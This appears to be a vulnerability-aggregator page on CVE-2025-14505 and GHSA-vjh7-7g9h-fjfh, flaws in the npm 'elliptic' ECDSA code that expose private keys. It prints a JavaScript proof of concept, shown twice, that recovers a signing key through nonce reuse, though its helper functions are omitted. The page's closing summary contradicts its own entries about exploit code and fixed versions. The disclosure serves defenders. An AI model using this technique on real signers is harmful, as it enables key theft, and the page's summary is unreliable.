CVE-2025-14505
Elliptic Cryptanalysis vulnerability when `k` has leading zeros
The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.
This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
5.6
Elliptic Cryptanalysis vulnerability when `k` has leading zeros
The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.
This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).
- Record
CVE-2025-14505- CVSS 3.1
- 5.6 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-1240
- Updated
- 2026-11-02
EUVDEUVD-2026-1445
5.6
The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.
This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).
- Record
EUVD-2026-1445- CVSS 3.1
- 5.6 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-848j-6mx2-7j84
2.9
Elliptic Uses a Cryptographic Primitive with a Risky Implementation
The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.
This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).
- Record
GHSA-848j-6mx2-7j84- CVSS 4.0
- 2.9 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P - CVSS 3.1
- 5.6 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-1240
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-vjh7-7g9h-fjfh
9.0
Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)
Summary
Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input
Note that elliptic by design accepts hex strings as one of the possible input types
Details
In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107
msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.
Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures
Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction
While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key
Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain
PoC
k reuse example
import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })
Full attack
This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)
import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)
// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)
// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)
const something = extract(msg0, sig0, sig1, curve)
console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)
Output:
Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:
Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6
restored is equal to orig mod N.
Impact
Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)
- Record
GHSA-vjh7-7g9h-fjfh- CVSS 4.0
- 9.0 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N - Weakness
- CWE-200
- Updated
- 2026-11-02
NVD
5.6
The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.
This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).
- Record
CVE-2025-14505- CVSS 3.1
- 5.6 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-1240
- Updated
- 2026-11-02
OSV
5.6
Elliptic Cryptanalysis vulnerability when `k` has leading zeros
The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.
This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).
- Record
CVE-2025-14505- CVSS 3.1
- 5.6 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-1240
- Updated
- 2026-11-02
Show 13 moreShow less
OSVDEBIAN-CVE-2025-14505
5.6
The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs. This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).
- Record
DEBIAN-CVE-2025-14505- CVSS 3.1
- 5.6 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L - Updated
- 2026-11-02
OSVGHSA-848j-6mx2-7j84
2.9
Elliptic Uses a Cryptographic Primitive with a Risky Implementation
The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.
This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).
- Record
GHSA-848j-6mx2-7j84- CVSS 4.0
- 2.9 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P - CVSS 3.1
- 5.6 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-1240
- Updated
- 2026-11-02
OSVGHSA-vjh7-7g9h-fjfh
9.0
Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)
Summary
Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input
Note that elliptic by design accepts hex strings as one of the possible input types
Details
In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107
msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.
Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures
Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction
While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key
Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain
PoC
k reuse example
import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })
Full attack
This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)
import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)
// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)
// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)
const something = extract(msg0, sig0, sig1, curve)
console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)
Output:
Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:
Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6
restored is equal to orig mod N.
Impact
Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)
- Record
GHSA-vjh7-7g9h-fjfh- CVSS 4.0
- 9.0 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N - Weakness
- CWE-200
- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-vjh7-7g9h-fjfh
9.0
GHSA-vjh7-7g9h-fjfh in elliptic - Patched by Root
Root has patched GHSA-vjh7-7g9h-fjfh in the elliptic package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-vjh7-7g9h-fjfh- CVSS 4.0
- 9.0 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N - Updated
- 2026-11-06
OSVUBUNTU-CVE-2025-14505
5.6
The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs. This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).
- Record
UBUNTU-CVE-2025-14505- CVSS 3.1
- 5.6 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L - Updated
- 2026-11-02
OSVCLSA-2026-1772583206 No score
TuxCare security update for elliptic (1 CVE)
TuxCare rebuilt elliptic to address 1 CVE. Fixed in 6.6.1-tuxcare.1.
- Record
CLSA-2026-1772583206- Updated
- 2026-11-02
OSVCLSA-2026-1773533797 No score
TuxCare security update for elliptic (1 CVE)
TuxCare rebuilt elliptic to address 1 CVE. Fixed in 6.6.0-tuxcare.1.
- Record
CLSA-2026-1773533797- Updated
- 2026-11-02
OSVCLSA-2026-1781139210 No score
TuxCare security update for elliptic (9 CVEs)
TuxCare rebuilt elliptic to address 9 CVEs. Fixed in 6.4.1-tuxcare.1.
- Record
CLSA-2026-1781139210- Updated
- 2026-11-02
OSVCLSA-2026-1781139211 No score
TuxCare security update for elliptic (7 CVEs)
TuxCare rebuilt elliptic to address 7 CVEs. Fixed in 6.5.4-tuxcare.1.
- Record
CLSA-2026-1781139211- Updated
- 2026-11-02
OSVCLSA-2026-1781139212 No score
TuxCare security update for elliptic (7 CVEs)
TuxCare rebuilt elliptic to address 7 CVEs. Fixed in 6.5.5-tuxcare.1.
- Record
CLSA-2026-1781139212- Updated
- 2026-11-02
OSVCLSA-2026-1789597571 No score
TuxCare security update for elliptic (1 CVE)
TuxCare rebuilt elliptic to address 1 CVE. Fixed in 6.6.0-tuxcare.2.
- Record
CLSA-2026-1789597571- Updated
- 2026-11-02
OSVCLSA-2026-1793807095 No score
TuxCare security update for elliptic (2 CVEs)
TuxCare rebuilt elliptic to address 2 CVEs. Fixed in 6.5.1-tuxcare.3.
- Record
CLSA-2026-1793807095- Updated
- 2026-11-04
OSVCLSA-2026-1793808177 No score
TuxCare security update for elliptic (2 CVEs)
TuxCare rebuilt elliptic to address 2 CVEs. Fixed in 6.5.3-tuxcare.3.
- Record
CLSA-2026-1793808177- Updated
- 2026-11-04
Affected packages
| Package | Affected | Fixed |
|---|---|---|
ellipticnpm |
through 6.6.1 | None known |
ellipticnpm |
through 6.6.0 | 6.6.1 |
ellipticTuxCare:npm |
6.6.1-tuxcare.0 up to 6.6.1-tuxcare.1, plus listed versions 6.6.1 |
6.6.1-tuxcare.1 |
ellipticTuxCare:npm |
6.6.0-tuxcare.0 up to 6.6.0-tuxcare.1, plus listed versions 6.6.0 |
6.6.0-tuxcare.1 |
ellipticTuxCare:npm From an advisory covering 8 CVEs |
6.4.1-tuxcare.0 up to 6.4.1-tuxcare.1, plus listed versions 6.4.1 |
6.4.1-tuxcare.1 |
ellipticTuxCare:npm From an advisory covering 6 CVEs |
6.5.4-tuxcare.0 up to 6.5.4-tuxcare.1, plus listed versions 6.5.4 |
6.5.4-tuxcare.1 |
ellipticTuxCare:npm From an advisory covering 6 CVEs |
6.5.5-tuxcare.0 up to 6.5.5-tuxcare.1, plus listed versions 6.5.5 |
6.5.5-tuxcare.1 |
ellipticTuxCare:npm |
6.6.0-tuxcare.0 up to 6.6.0-tuxcare.2, plus listed versions 6.6.06.6.0-tuxcare.1 |
6.6.0-tuxcare.2 |
ellipticTuxCare:npm |
6.5.1-tuxcare.0 up to 6.5.1-tuxcare.3, plus listed versions 6.5.16.5.1-tuxcare.16.5.1-tuxcare.2 |
6.5.1-tuxcare.3 |
ellipticTuxCare:npm |
6.5.3-tuxcare.0 up to 6.5.3-tuxcare.3, plus listed versions 6.5.36.5.3-tuxcare.16.5.3-tuxcare.2 |
6.5.3-tuxcare.3 |
Show 13 moreShow less
| Package | Affected | Fixed |
|---|---|---|
node-ellipticDebian:12 |
All versions, plus listed versions 6.5.4~dfsg-26.5.7+dfsg-16.6.1+dfsg+~6.4.18-16.6.1+dfsg+~6.4.18-26.6.1+dfsg-1 |
None known |
node-ellipticDebian:13 |
All versions, plus listed versions 6.6.1+dfsg+~6.4.18-16.6.1+dfsg+~6.4.18-26.6.1+dfsg-1 |
None known |
node-ellipticDebian:14 |
before 6.6.1+dfsg+~6.4.18-2, plus listed versions 6.6.1+dfsg+~6.4.18-16.6.1+dfsg-1 |
6.6.1+dfsg+~6.4.18-2 |
ellipticnpm |
before 6.6.1 | 6.6.1 |
ellipticRoot:npm |
before 6.5.7-aikido.1 | 6.5.7-aikido.16.5.5-aikido.16.6.0-aikido.16.5.4-aikido.16.5.2-aikido.16.5.2-aikido.26.5.4-aikido.2 |
@rootio/ellipticRoot:npm |
before 6.5.7-root.io.1 | 6.5.7-root.io.16.5.5-root.io.16.6.0-root.io.16.5.4-root.io.16.5.2-root.io.16.5.2-root.io.26.5.4-root.io.2 |
node-ellipticUbuntu:18.04:LTS |
All versions, plus listed versions 6.4.0+dfsg-1 |
None known |
node-ellipticUbuntu:20.04:LTS |
All versions, plus listed versions 6.5.1~dfsg-16.5.1~dfsg-2 |
None known |
node-ellipticUbuntu:22.04:LTS |
All versions, plus listed versions 6.5.4~dfsg-1 |
None known |
node-ellipticUbuntu:24.04:LTS |
All versions, plus listed versions 6.5.4~dfsg-2 |
None known |
node-ellipticUbuntu:25.10 |
All versions, plus listed versions 6.6.1+dfsg-1 |
None known |
node-ellipticUbuntu:26.10 |
All versions, plus listed versions 6.6.1+dfsg+~6.4.18-16.6.1+dfsg+~6.4.18-2 |
None known |
node-ellipticUbuntu:26.04:LTS |
All versions, plus listed versions 6.6.1+dfsg-16.6.1+dfsg+~6.4.18-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected | ||
| affected, aliases, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-14505 is a medium vulnerability (CVSS 5.6) in elliptic, published February 12, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 7th percentile. Fixed in elliptic 6.6.1.
References
herodevs.com/vulnerability-directory/cve-2025-14505
github.com/indutny/elliptic/issues/321
nvd.nist.gov/vuln/detail/CVE-2025-14505
github.com/advisories/GHSA-848j-6mx2-7j84
github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh
github.com/indutny/elliptic/commit/04cb6f54ce552b3ebde6be06d6050419e1c7333e